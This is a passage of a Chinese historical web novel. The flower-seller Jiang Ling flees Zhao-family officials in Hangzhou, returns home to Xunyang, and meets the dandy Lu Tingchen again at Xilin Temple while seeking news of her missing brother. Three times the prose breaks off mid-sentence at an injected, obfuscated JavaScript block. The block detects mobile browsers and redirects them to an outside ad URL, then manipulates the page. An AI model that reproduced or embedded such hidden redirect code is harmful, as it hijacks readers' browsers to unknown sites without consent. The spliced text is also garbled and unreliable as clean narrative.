扪心自问,虽说跟着郎君在江南一带做了不少亏心事,路过的狗都要去挑衅一番,可从没招惹这位江娘子。 没等他想出个所以然,江岺已自行落座,说道:“抱歉啊,吓着你们二位了。是我后知后觉,竟被人诓骗了……” 但兄长的包裹为何会出现在他手里? 此事已非简单的翻船事故,也并非失踪,极有可能是蓄意而为之的谋财害命。 江屿究竟得罪过谁? 他在浔阳县衙的那些同僚,西林寺被他骂过的僧人,还是被他出手惩治的恶霸? 细数下来,太多太多了…… 真想把那人揪出来,丢进牢里好好地审一审。 可出事的恰恰是她的兄长,浔阳县丞,为官时尚可为民主持公道,有关他自己的真相,又有待谁来查明呢? 江岺叹了口气,道:“其实也无甚进展,那么点线索,不过安慰自己聊胜于无罢了。你们继续喝茶,我先回去了。” 陆亭尘道:“着什么急?再坐一会儿,待天黑了,升平坊里有焰火。” 江岺道:“不了,今日疲乏。” 入了夜,那一对主仆出门去了。 对门的客舍没有点灯。 江岺站在脚店三楼的窗前,看鳞次栉比的屋檐上升起点点星火,碎星如雨,一刹那繁华冷落。 浔阳城没有这儿的富庶繁华,更不比此地热闹,不会再灯火阑珊的夜幕后,见得一场盛大的烟火。 那里是安稳度日的乡下,有细水长流的年华。 每天走街串巷的卖花娘子,每日理讼断案浔阳县丞,看惯了家长里短人间冷暖,只守着自家的一盏昏灯,其余的,从不贪图。 可那样知足的人,到而今下落未明,生死未卜。 升平坊里的狂欢还在继续,江岺早早合上了窗,对着一盏孤灯静坐,历数一路上的种种蛛丝马迹。 直至陈旧的楼板吱呀响动,二楼传来扰人的动静。 “二位大人,这边来。” 脚店的跑堂殷勤引路,像是带他们在找什么人。 “你们要找的那位娘子啊,她住在三楼,与两位郎君一道来住店的。” 江岺有些诧异,这人说的……该不会就是她吧? “她还在店里吗?” “在的在的。小人还记得,她是申时回来的,就一直待在屋里没出去过了。黑灯瞎火的看不清脚下,您二位慢着些。” 真是来找她的? 江岺慌忙吹熄了烛火,拢起桌上散开的包裹藏到床帐后。 灯光与人影摇曳着从门缝低下钻出,蜷在阴影之后的人此刻心如擂鼓,紧张得连呼吸都忘了。 沉重的门轴旋转,纤长的人影延伸到屋内。 跑堂纳闷道:“奇怪了……怎么没人?” 刚熄灭的灯芯上升起一缕青烟,有人上前摸了摸灯台。 “灯油还是热的,人应该刚走不久。” 跑堂问道:“大人,恕小人斗胆问一句,那小娘子犯的是什么罪?” “赵大人的事,岂容你置喙?今夜把店门口守好了,若是叫人逃了,唯你是问。” 11. 钱塘潮(六) 除了杭州的赵别驾,江岺实在想不出他们口中的赵大人还能是谁。 只是她万万没有料到,她奔徙了一路,兜兜转转竟还是与赵家有关。 杭州只手遮天的赵大人,五年前眼睁睁看着她沉入钱塘江,如今可是知晓了她还活着,故而大费周折来寻她?是怕她抖落当年赵府的丑事吗?在寻莺坊里见到赵家人或许并非巧合,江屿的失踪会不会也有他们的手笔? 跑堂提灯在屋内照了一圈,自言自语道:“与她同行的那两位郎君出去了,怪小的没注意。今夜升平坊里开了夜市,她会不会也看热闹去了?” 眼见跑堂往床边走近,就要发现江岺的藏匿处,后面的人突然踹了他一脚,骂道: “废什么话,别的房间也看看,说不定她藏在了别的地方。” 屋子的大门还半敞着,几人的影子退了出去,他们暂时离开,往别处搜罗了。 这一层楼的房门一一被踹开,每一下都震得她胆战心惊。 待其一远离,江岺迅速上前落下门闩,挪过桌子堵在门后。 拆下床上麻帐,撕成布条系作长绳,绑在窗框之上。 没等江岺翻窗逃脱,他们很快便发现了这处动静,又赶了回来,大力撞击着房门。 “门从里面锁上了?” “我就说好端端的,人能跑到哪里去,原来还藏在房间里。这小娘们果真狡猾!” 市井的喧闹都被高声所掩盖,一下又一下的撞击中,夹杂着木头断裂的声音。 “开门!” “快点把门打开!” “不然等老子把门撞开,有你好受的!” 江岺试了试绳索的韧性,又往自己身上绕了几圈,咬紧牙关从三楼的窗户一跃而下。 绳索足够结实,可她高估了这家黑店的良心,上房的窗框竟是直接卡在泥墙里的。 整个人的重量落在上面,窗框被拽着一并落下,在脚店后门口砸了个四分五裂,江岺浑身上下也似散架了。 头顶传来轰然一声巨响,客房的门被撞开了。顾不得四肢百骸的疼痛,她抱起累赘的裙摆就往漆黑的深巷里跑去。 独行无火,深巷犬吠。江岺尝到了喉间的血腥味,看不清前路,惶恐之意汹涌而来。杂乱的脚步声回荡在耳边,分不清是自己的还是谁的。 她凭借模糊的记忆,涉足童年生长的境土,试图给自己求一条生路。 漫长的奔逃过后,她听到了水声,自江岸而来。 渡口停泊的客舟上挂一盏渔灯,散着朦胧的光晕,阵阵夜风勾起江狼拍打着船舷。 江岺跃上船板,激得船身一阵晃荡。老船夫扶住船橹待船平稳,就着江水涤净抹布,淡定地擦拭着船舷,头也不抬道:“小娘子,你着急赶路啊?” 江岺胸膛起起伏伏,喘着气道:“是,这船什么时候走?” 老船夫洗完了船舷擦船橹,不紧不慢道:“再等一等,再多凑几个船客咯。” 江岺道:“我现在就得走,你要多少钱?二两银子够不够?” 船夫抬头打量她一眼,没搭话。 “三两?”江岺接着加价。 船夫安抚她道:“再晚些时候,坐船的人就多了,你犯不着为这一时半刻浪费钱。” 江岺欲哭无泪,说不定恰是晚这一时半刻,就要了她的命。 “出来得匆忙,我身上只带了这么些钱,您看看够不够?”她翻出浑身上下所有的银钱,今日花剩下的碎银子,还有几十枚铜板,一并推到船夫面前。 船夫似乎看出了她的窘迫,从她手里拈了一块碎银子,放在手里掂了掂,又问:“去哪儿?” 江岺想了想,道:“去绍兴。” “好嘞。”老船夫挂好抹布,利落解下绕在桩上的船索,摇橹驶离江岸。 不多久,府吏自脚店追了过来,密密麻麻的火把照彻了整片渡口。 钱塘江上晃荡着一点微弱的火光,渐渐消失在薄雾里。 一条江南河连接了数个城池,江岺在绍兴渡口下了船,有心旁人会从船夫口中问出她的去向,她又乘船去了南边几个乡县,坐过好几趟船,从水路到陆路,才辗转回江州。 江岺回到浔阳时,已经是五月末了。 平乐巷子的江宅门扉长久没有人开启,锁头上积了一层灰。入门抬眼望去,院子里积的枯枝败叶无人清理,墙角的花枯死一片,只有月季野蛮生长,花架塌了,红花谢了满地。 江岺坐在檐下踏跺上,周身疲乏,此刻没有心里去收拾满屋狼藉。翻遍周身行囊,好似遗落了什么。 忽然想起来,阿娘留给她的遗物,那枚芙蓉玉簪子还在陆亭尘手里。 九岁那年,阿娘摘下她最喜欢的发簪戴在江岺头上,哄着她离开赵府的后院。 江岺离开后,阿娘放火烧了她们的家,江岺一声声唤她,她不应答。在那以后,赵府的凌氏成了宅院里的疯女人,被锁进了柴房里,江岺再也没有见过她…… 再后来,柴房里的疯女人被人从水里打捞起来,成了一具冰冷的尸体。 江岺只在赵府的下人抬着她的尸身路过时,伫足观望了一会儿。 脸颊上没有泪,她没有为此而哭,也无人为那已逝之人烧几张纸钱,上一炷香。 她什么也没有做,什么也没有。 在院子里呆坐了一晌午,江岺才后知后觉扶起地上翻倒的椅子,拖着沉重的步子进门。 她还有一个家,有遮风挡雨的屋檐,有一个可以蜷缩着过活的地方。 落灰的屋舍要打扫,夏雨来临前,漏水的房顶要找泥水匠修葺,倒下的花架要重新搭砌,浔阳城郊的十亩花田要继续打理,下梧乡的老妪也须得有人照看…… 等到酷暑过去,她还要继续到巷子里卖花,要在浔阳城中赁一间铺子,继续做生意。 兄长还没有归家,此后很长一段时间不会再有人藏起她的扁担,逼着她在家里抄书,阻拦她去卖花。 她还要浸在尘世的一堆芝麻烂谷子事里,有许许多多的事要做。 生计无外乎就这般延续。 收拾完屋子,天色不早了,晚饭还没有着落。 江岺挎着个篮子出门,城东卖鱼的赵二郎也在街坊外支起小摊,摆出两桶鱼在售卖了。 其实他摊子的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106259|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意从来不差,不至于每天都剩下品相最好的鱼,专留给一个过路的卖花娘子。 周围街坊的娘子们都喜欢光顾他的生意。 虽说他是个卖鱼的,纵使他家贫,自幼失怙失恃,只能与家中祖父母相依为命……但他生得好看。 江岺停在他摊位前,赵东楼抬头时,明显愣了一下。 “江娘子回来了啊,好些时日不见你。” 江岺道:“是啊。出了一趟远门,才回来的。” 赵东楼问道:“江大人回来了吗?” 江岺低着头,闷闷道:“还没,他兴许还在忙吧。” 赵东楼道:“看来浔阳这个小县里,事情也不少。已经快两月了啊……” 江岺道:“也并非是为了公务,而是为了些私事。等他忙完了,自然就回来了。” 赵东楼问:“那你这是要去哪儿?” 江岺道:“我来买鱼。” “啊?”他有些呆愣,似是没忘她先前所说,其实她并不喜欢吃鱼。 江岺道:“怎么?不不做生意了吗?” “娘子等、等等,我给你挑一挑。” 他突然窘迫了起来,埋头在摊上挑挑拣拣,也没料到她会突然回来,又突然想吃鱼,故而忘了留下最肥美的那一尾鲫鱼。 江岺随手指了案板旁一条鲫鱼,说道:“就这条吧。” 赵东楼道:“这条太瘦,剔了骨头就没剩几两肉,我给娘子换一条罢。” 江岺道:“好,都行。” “这鱼都是祖父今天刚打上来的,很新鲜。” 他扯过抹布擦去刀身上的鱼鳞,随后挥刀剔鳞、开膛破肚,其动作行云流水。 不一会儿,稻草串好的鲫鱼已递到了她面前。 江岺提醒道:“你方才忘了上称。” “无妨。”赵东楼笑道,“江大人在任几年,常常照顾我祖父母,也不知该如何答谢他,这鱼真是今天卖剩的了,江娘子你就拿回去吃吧。切些姜片,炖一锅鲫鱼豆腐汤,无需盐豉味道也很好。” 鲫鱼稳稳当当地落在了她的篮子里,江岺同他道了声谢。 “江娘子。” 临走时,这人突然又叫住她。 江岺道:“还有什么事吗?” 赵东楼道:“我见你回来后面色不怎么好,是因为舟车劳顿,还是路上出了什么事了?” 江岺闻言,摸了摸自己的脸。出来得匆忙,竟忘了照镜子,忘了自己是怎样一副吓人的模样。 她勉强扯出一抹笑,回道:“我没什么事啊,兴许只是累着了,这一趟走了好远的路呢。我今天回去睡一觉就好了。” 赵东楼道:“那就好。” 江岺方一转过身,嘴角不自觉耷拉了下来。 夕阳西下,从她脚下延伸出日晷针一样纤长的影。 回想逃亡的那几日忧心忡忡,已经很久没有睡过一个好觉了。 到家掏出铜镜一照,吓得她把镜子丢了。一时分不清镜中人和凶宅的鬼,哪个更吓人。 等哪日得闲了,还是到西林寺去烧柱香罢,求佛光普照,祛一祛周身的颓丧之气。 12. 纨绔(一) 浔阳城里来了个锦衣玉带的少年郎,身后跟着个白衣小童,背着个书箱,像是读书人的打扮。 可他不往庐山的白鹿洞书院去,反而带着书童往闹市里钻。 书童跟在他身后叫苦不迭:“郎君,您何日才肯动身去书院?” “催什么催?”郎君回过头来骂道,“一天到晚读十三经,读得我脑子都快坏掉了。赶了几天的路,就不能先休息一两日吗?” 书童道:“可您答应了大人,这回若再是出尔反尔……” 郎君道:“知道了知道了,待我寻到了人,自然会去的。” 书童一不留神,就放任自家公子遁入街市往来的人群里。 芭蕉荫下有个凉茶摊,摊主是一持蒲扇的老叟,正躺在竹椅上打盹。 郎君走过去,恭恭敬敬向他行礼:“老人家,老人家?” 老叟一动不动,只开口道:“凉茶三文钱一碗,自取。” 郎君换了个方向,拱手再拜道:“老人家,您在这地方看惯了人来人往,想必对浔阳的风土人情熟识,小生能否同您打听一个人?” 老叟慢吞吞抬起头,眯眼打量他。 一身暗纹赭红圆领袍,袖口盘着金线,腰间系一条错金的玉带,幞头外还裹一条织锦抹额。 不知是哪里来的贵胄人家,此前在浔阳城里从未见过。 老叟问道:“小郎君看着面生,是外乡人吧?” 郎君笑道:“是是是,小生正是从杭州来的,过几日要到书院求学。” 老叟问道:“原是个有前程的后生啊,不知郎君要打听的是什么人?” 郎君道:“是位娘子,十七八岁的年纪,她姓江。” 老叟道:“姓江的娘子多了去了,禾丰坊里卖豆腐的,平乐巷子里卖花的,还有江记茶楼掌柜的女儿……就是不知你指的是哪一个咯。” 郎君笑道:“她个儿不高,但模样生得极好。哦对了,她还有一个兄长。” 老叟凑近了,小声问道:“心上人?” “不是。”郎君当即否认。 “那你就是登徒子咯?”老叟捋着胡须笑道,“叟也是个讲究人,可不能放任你去祸害好人家的娘子。” “……” 小郎君不语,只往摊子上拍了一锭银子。 老叟握住那沉甸甸的银锭子,点头道:“郎君是个稳重人,是叟有眼无珠,有眼无珠啊……” 得了老叟指路,两个年轻人又先后往都豆腐坊、花鸟市里去寻。 浔阳城外人声喧闹,花鸟市里冷冷清清。 偶有要出城游玩的娘子停在摊位前,挑挑拣拣也没寻到合心意的花,遂问起一旁的摊主:“江娘子平日里勤快得很,这几日怎么没出门卖花了?” 摊主道:“她昨日跟我说要到寺里上香,许是这个缘故罢。” “原来如此。”娘子随手挑拣了几朵花簪在发上,也加入城外踏青的游人之中。 穿着招摇的两个异乡人,起初躲得远远地听,待买花的人走了,又凑近私语。 书童不解道:“那位卖花的江娘子……是郎君要寻的人吗?她不是说兄长是做官的,她又怎么会去卖花呢?” 郎君道:“我哪里知道?若再不是她,浔阳城里也没剩几个姓江的了。” 书童道:“打听到了人,郎君又要往何处寻她去?话说江州佛寺古刹如云,如何知晓她去的是哪一座寺庙?” —— 九江地卑湿,六月天炎燠。 江岺躲在家中纳凉,重新搭砌院子角落的花架。 她近来深居简出,也没有旁人找上门来。 就是不知杭州的那一对主仆怎么样了,当时她逃得匆忙,不辞而别还失了约定,想来会遭那人记恨吧。 不过他既有钱财傍身,又有陆长史做靠山,纵是在江南一带横着走,也无人敢动他。想到这里,江岺心中仅有的那半点歉疚,也烟消云散了。 这几日,听闻浔阳县丞,已换了他人做,而她的兄长至今下落不明。又听闻杭州被退婚的那位赵娘子,已择了新婿,下月初八就要完婚。 江岺在河边浣洗衣裳,听几个婶婶细嚼传闻。 她突然问了句:“那先前退婚的那个陆郎君,他现在如何了?有没有被扫地出门?” 几个妇人停下捣衣,纷纷转头看她。 “这我就没听说了。” “不过就他这名声,没有好人家会把女儿嫁给他的。” “我料也是。”江岺略显失望地叹口气,还以为街坊里的情报处,无所不知无所不闻。 有好心的婶婶劝她:“你打听他做什么呀,一个还没毕姻的女儿,可千万要离这种人远一些,别带累了自己的名声。” 江岺讪讪一笑:“知道,知道。” 李婶子换了个话头,接着道:“你听说了吗?前不久有个官宦家的小郎君,从杭州来这儿求学的,这几日还住在浔阳城里。” 王婶子说道:“我还见过了呢,那模样生得白净,可招人喜欢。不过比起我家五郎啊,样貌还差点。” 李婶子道:“真的假的?” 王婶子道:“我骗你做什么?” 李婶子满脸鄙夷:“比你家五郎差一点,那模样应该好看不到哪里去了。” 王婶子恼了:“你这说的什么话?我家五郎哪里差了?” 李婶子笑道:“那敢不敢叫你家五郎把幞头摘下来,把鞋屐脱了,看看身长有没有六尺?阿岺你说是不是呀?” “江娘子你来评评理,男儿家踏踏实实的就成了,长这么高能当饭吃啊?” “咦?江娘子?” “哪儿去了?方才还在这里呢。” 江岺端起浆洗好的衣裙,两条腿抡得飞快,头也不回地逃离河岸。 趁着上午太阳不算毒辣,她归家晾完衣裳,还要去西林寺一趟。 江岺剪下墙角的几枝月季,仔仔细细地除去刺头,解下身上的麻布围裳,挎上个花篮子便出门了。 途径连接东坊与西市的石桥,忽闻马蹄声近了。 江州多水路,出行之人皆是以舟为车,以楫为马,此时有人策马而过,倒是稀奇。 桥头人声如蝇营营,殊为聒噪。许多人不禁停下脚步,想看看策马之人是何许人也。 江岺混迹在看热闹的人群里,往桥头眺了一眼,没等她看清,那人已策马迎面而来。 绯红的衣袂裹挟着尘埃,带着少年人才有的恣意张扬,直直撞入她眼中。 “咳咳咳——”江岺抱紧花篮,掀开迷眼睛的灰尘。 待看清他脸时,江岺才只天下道路到底有多窄,总能让冤家聚头。 那郎君回过头,笑得春风得意,怀中拥着几支含苞待放的鹅黄月季。 江岺回过神来,低头一瞧,篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106260|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中已是空空如也。 他从哪里学来的流氓行径! 她气得拾起石子砸过去,追着喊道:“我的花!” “你的花?”他轻轻一笑,却没打算将花束还她,往她花篮里扔了个钱袋子,扬长而去了。 乌云踏雪的马蹄踏上石桥,也踏过一地的香消玉殒,向着城外的方向,没有为任何一人停伫。 江岺提起他给的织锦钱袋,一时有些摸不着头脑。 这人到底还是记恨上了她,不然不可能千里迢迢地跑来抢花,只为报复一下她。 但施舍给她银两又是怎么回事?嫌钱太多了花不出去? 土路上留下一串浅浅的马蹄印,一直通往城门口的方向,江岺一路沿着印迹走。 她原本提了一整篮鲜妍的花出门,要去往西林寺。如今挎着个空荡荡的篮子,依旧是去拜佛。望佛祖知晓前因后果,莫要与她计较。 刚出了城,又遇上那个抢花的纨绔,驻马在城门口。 江岺悻悻低下头,装作没看到,试图从他身边偷溜过去。 陆亭尘叫住她:“平乐巷子里卖花的江娘子,才过了多久,这就把我忘了?” 江岺停下脚步,回过头来谄笑道:“陆郎君,真巧啊,在浔阳也能遇到你。” 他挑了挑眉,怨诉道:“我从扬州赶过来,是为了听你一句,巧遇?” 江岺反应过来,忙道:“杭州城里不告而别,实在是对不住啊。不过你大老远跑过来,只为了让我道个歉,也实在是辛苦。” 陆亭尘道:“看了个烟花回来,发现你住的客房到处狼藉。我还以为你出事了,在杭州找了你三天,又把姓赵的那一家子人得罪了个遍。” 江岺低着头,等待他如何发作,不料他不恼反笑:“原来逃回浔阳了啊,还算机灵。” “啊?”江岺不可置信地看向他,问道,“那你家里的事怎么样了?先前说好了要同你去扬州的——” 他忽又板着一张脸:“你竟还有脸问?” 江岺道:“抱歉啊,我并非有意失约,实在是事发突然,不得不逃……” 陆亭尘没听她解释,直呼:“晚了!家父已经把我逐出家门了。” “什么?”江岺错愕不已,“可还有补救的机会?我现在去帮你解释清楚,还来得及吗?” “他罚都罚过了,还解释什么?先前挨过的打,受过的骂会少吗?” “也是……” 不知是不是错觉,他说这话的时候,非但没有沮丧,竟还有些开心…… 就像屡屡不辞而别,江岺以为他会生气,可是他没有。 莫不是个傻子? 陆亭尘道:“这么早出门,是要去哪里?” 江岺道:“去寺里烧香。” 陆亭尘道:“江州这么多寺庙,你要去的是哪一座?” 江岺道:“西林寺。” 陆亭尘道:“西林寺这么远,既要拜佛,为何不去更近的江心寺?” 江岺想起很久以前,兄长说过的话,于是认真回道:“既在乎路之远近,又要略去求佛路上的艰难,仅仅是一二十里路程也要计较,这样的人不会懂求佛之心。” 陆亭尘道:“我刚好遣仆从驾了车,正要出远门,顺路捎你一程吧。” 江岺看了看刚被拴在树下的马,寻找着此刻尚不知所踪的马车,又狐疑看着他,确定是刚好? 13. 纨绔(二) 在城门口等了一阵,车夫才驾着马车才姗姗来迟。 想到西林寺山高路远,正午日头毒辣,恰有“好心人”捎她一段路,江岺欣然应允。 今日孟年没跟着他出来,车舆内只有两人相对而坐。 江岺时不时偷瞄他一眼,只见他倚着软枕悠然看向窗外,半点儿也不像被逐出家门的样子。长眉之下一双如墨的眼,笑起来时,眉眼间轻佻得有些陌生。 她试探着开口:“那个……之前跟在你身边的书童,怎么没同你一路?” 陆亭尘道:“他啊,代我到书院念书去了。” “……”江岺哑口,一时不知怎么评判眼前人。 不学无术也就罢了,偏又坦诚相待,实在教人无可奈何。 好歹遮掩一番,让自己在外的名声不至于那么难听。 江岺又看向他怀里的月季,不甘心道:“你抢了我的花,也没什么用处,能不能还我?我本是要到西林寺献佛的。” 他仅仅一笑,道:“哪里是抢的?我付过钱了。” “你的钱,还你。”江岺一手把钱贷塞回他手里,顺手一把夺回那几枝月季,又从兄长留下的钱袋里摸出所有碎银,不多不少,刚好十两。 “还有先前在杭州借的十两银子,也一并还你。” 他盯着钱袋又恼又气,还阴阳怪气:“浔阳城是什么旮旯穷地儿?有钱都花不出去。” 江岺真想一药锄砸开他的脑门,看看里面装着什么东西。 “你不是被赶出家门了吗?还是多留点银钱傍身吧。”江岺道,“况且几支月季根本不值这么多钱,我在浔阳城里卖了四年的花,没见过这样做生意的。你若真喜欢花,我家中还栽了许多,改日另剪些送你。” 陆亭尘听了,也不答应一声,只忙着左顾右盼。 江岺问他:“你看什么?” 陆亭尘笑道:“我看看有没有第三人听到的,为我做个见证,不然你又赖了帐。” 江岺:“……” 他解释说:“没办法,从前旁人向我许下过许多承诺,无一例外都背信失了约。那时年少无知,总以为一约既定,万事无阻。熟料真到了兑现的时候,旁人总有各种理由推阻。” 江岺道:“我知道了知道了,不必再说。” 她避而不谈,他偏要如竹筒倒豆子,一股脑地说尽:“不知有没有同你说起过,我还有一个朋友,失了一场十年的约,如今却是连她一面也见不上了。” 仔细一算,自幼时与他分别以来,也恰好十年,却实在想不起来当初同他许下过什么承诺。 江岺宁愿是自己想多了,可又忍不住问起:“你那个朋友……她失的是什么约?” 陆亭尘毫不避讳:“婚约。” 江岺:“?” 简直是胡说八道,本人怎么不记得? 她不敢接话了。 奈何他这一路上喋喋不休,比盯着粪的苍蝇还聒噪。 这样比喻,似乎也不太妥帖…… 陆亭尘又问她:“话又说回来,杭州的那一伙人为什么要捉拿你?你独自出门的那天,不小心犯事了?” 这一开口就把江岺问住了,没想到他会刨根问底,她也还没编好借口。 她支支吾吾答不出个所以然,只道:“其实——我也不知道,更不知招惹了什么是非。” 他怒而锤拳,一副煞有介事地样子,说道:“定然是他们见你一个女子孤身在外,无依无靠的,才起了歪心思。这世道欺男霸女的是多了去了,赵府那一家子更不是什么好人。” 江岺点头如捣蒜,道:“兴许吧……没准还真是这么个缘由。” 这话她自己说出来都不愿相信。 渐渐到了庐山北麓,陌上也有三三两两的游人结伴而行,马车停在山脚下。 江岺下了车,转过头来想道声谢,发现他竟也跳下车来。 “你不是——还要到别处去吗?”她问。 陆亭尘道:“早闻庐山之中有座古刹,都到了山脚下了,不亲自去看看,实在是可惜。何况——我还是第一次来江州,人生地不熟的,江娘子可要多担待着些。” 江岺暗自嘀咕,这人果真喜玩乐,上一次在宣州也是如此,大半夜的非得跑到谢脁楼上看风景。 学不来文人的风雅,还偏爱去凑这些热闹。 陆亭尘折了根树枝做登山杖,跟在江岺身后慢悠悠地走,一会儿催她走慢些,一会儿问她庐山当中有什么出名的景胜。 江岺可不敢同他多说,生怕他一时兴起,大老远地又拉着她去看什么飞瀑悬泉。 江岺走在前头,久久不应答。 陆亭尘追着她问:“西林寺真有传闻里那么灵验?你到寺里又是求些什么?” 江岺被他问得厌烦,索性胡说八道:“求姻缘。” “嗤——” 许是觉得她与自己同病相怜,陆亭尘忍不住笑出声来。 江岺道:“陆郎君不会当真了吧?以为我会像你一样,名声差到了媒人不敢登门的地步?” 他愣了好一会儿,最后幽幽吐出一句:“六月的天,怎么这般寒凉?” 他自问自答:“原是恶语伤人啊。” 江岺道:“我是来替兄长求平安的。” 西林寺里常年香火鼎盛,香客如云,有踏春的游人,求佛的香客,金缕加身的贵胄,还有跪伏乞讨的叫花子…… 江岺太久没来了,这回再到西林寺,大殿门口多了个拄杖的老妪,散发而赤足,褴褛衣裳已难维持为人的尊严与体面,一张破絮巾也拢不住蓬乱花发。 大殿空旷而阴冷,禅寺里回荡着肃穆的钟音。 江岺走过老妪身侧时,余光瞥见她的正脸,刚要迈过门槛的脚也不由滞住了。 颤颤巍巍向她伸出碗的老妪,竟是槿娘的六旬老母。 江岺眼里灌满了酸涩,一会想着,离她上一次去下梧乡,这才过去多久啊。一会又想着,原来老人失去女儿,已有整整五年了。 一根断过的拐杖,盘得包了浆,一个脏兮兮的行囊,便是老人的全部家当。 江岺在门口停留了太久,挡住了其他香客的去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119202|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路,陆亭尘提醒她:“怎么了?” 江岺摇摇头,道:“没什么,只是觉得她很可怜罢了。” 有人问西林寺的怀泽师傅:“这群叫花子在门口总会挡着路,又碍了其他香客的眼,为何不将他们赶出去?” 怀泽师傅佛唱一声,道:“因为佛祖慈悲,容他们在跟前乞讨。诸位施主若心怀慈悲,眼中也该容得下才是罢。” 如此一来,那些香客也没了别的怨诉。 那些绫罗绸缎前前后后经过江岺眼前,晃得她又些头晕目眩,几十两碎银经由他们手中,哗啦落入功德箱中,仅仅听了个声响。 那些心怀善念,虔心拜佛之人,有更多的银钱毫不吝啬地投入功德箱,不会落在那老妪身前的破碗里。 江岺没在大殿逗留多久,在佛前献过花,付几文香火钱,余下的银两,全都放进了老妪的掌心。 西林寺的乞丐早已经换了一批,或许这是江岺最后一次见她。 从小沙弥手中接过祈福带,走过那棵挂满了无数愿望的菩提树时,江岺只觉得心里堵得慌。 她在红绸带上写下江屿的名字,又请寺里的小沙弥踩在凳上,将红带子悬在最高的枝头。 做完了这些,而后来到了财神殿。 廊下充斥着来来往往的脚步声,忽有一人踏进门来,跪在江岺身旁的蒲团上,也举着一炷香拜了三拜。 江岺正许着今年天降横财的愿望,却忍不住分心,听听旁边这人许了什么愿。 他低声咕哝了一大愿望,也不顾佛祖是否能记清。 “求佛祖保佑我家人康健,愿我阿娘貌美如初,老东西早日病愈,愿我大兄早日金榜题名,二兄早日娶上夫人……” 不熟识的人只知他模样周正,衣冠齐楚,哪知他嘴里说的净是些不着调的话。 江岺没忍住轻嗤一声。 陆亭尘偏过头来笑她:“财神殿里求姻缘?江娘子,你心不诚啊。” 江岺反问道:“那么你呢?财神殿里求前程?” 陆亭尘道:“我求江娘子得偿所愿,早日寻回兄长啊。” 江岺微微张了张口,破天荒说不出一句回怼的话来。 天色渐渐阴沉了下来,一道电光乍破苍穹,忽闻屋外雷声轰鸣。 江岺回头一看,檐外下起了雨,天公不作美,扫了一众香客游玩的兴致。 “啧。”陆亭尘道,“真是不赶巧,浔阳的雨怎么一点兆头也没有?今日出门得急,竟忘了叫孟年带伞。” 江岺与他立在檐下,出言劝慰道:“无事,浔阳的雨来得快,去的也急,过会儿就放晴了。” 陆亭尘侧目看着她,只见她的目光穿过雨帘,落在那棵菩提树上,眉头紧锁,浑然不见半点轻松的模样。 她刚挂上菩提树的祈福带,转眼被雨淋了个透彻,墨迹晕染开,字迹也模糊不清了。 那些写满希冀的红绸带,每一条都被雨水浸湿,在如同那些佛前的诉愿,每一个都变得沉甸甸的,压低了菩提的枝叶。 只听她喃喃:“的确是不赶巧了……”